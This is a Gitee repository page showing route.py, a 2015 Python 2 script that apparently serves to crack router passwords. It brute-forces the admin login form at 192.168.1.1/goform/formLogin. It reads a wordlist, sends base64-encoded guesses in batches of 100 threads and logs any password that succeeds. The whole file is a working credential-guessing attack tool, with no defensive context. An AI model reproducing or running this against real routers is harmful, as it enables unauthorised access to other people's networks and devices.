1 Star 1 Fork 0

且听风吟/python

加入 Gitee
与超过 1400万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
文件
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
route.py 2.05 KB
一键复制 编辑 原始数据 按行查看 历史
且听风吟 提交于 2015-05-20 19:38 +08:00 . change
# -*- coding: UTF-8 -*-
#���̱߳����ƽ�·����
import urllib2
import base64
import urllib
import os
import threading
import string
import random
ip = "192.168.1.1"
user = 'admin'
isok=False
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Encoding': 'gzip,deflate',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4',
'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36',
}
url = 'http://' + ip + '/goform/formLogin'
def dosomething(password):
postData={
'Language':'Chinese',
'Language_set':'Chinese',
'username':'admin',
'password':password,
'login':'��¼'
}
#print password
postdata=urllib.urlencode(postData)
#print postdata
request=urllib2.Request(url,postdata,headers)
response=urllib2.urlopen(request)
text=response.read()
if text.find('initValue')==-1:
os.system("123.mp3")
file=open('123.txt','a')
file.write(password)
isok=True
text= unicode(text,'utf-8').encode('gb18030')
#print text
class checkroute(threading.Thread):
def __init__(self,passwd):
threading.Thread.__init__(self)
self.password=passwd
def run(self):
try:
dosomething(self.password)
except:
pass;
if __name__ == '__main__':
threads = []
sa=[]
password=""
count=0
file=open('password.txt','r')
while True:
lines=file.readlines(11881380)
print 'file read over!'
if not lines:
break
for line in lines:
print line
password=base64.b64encode(line)
count+=1
threads.append(checkroute(password))
if count%100==0:
for t in threads:
t.start()
for t in threads:
t.join()
threads=[]
print "the end!!"
Loading...
马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
Python
1
https://gitee.com/lylinux/python.git
git@gitee.com:lylinux/python.git
lylinux
python
python
master

搜索帮助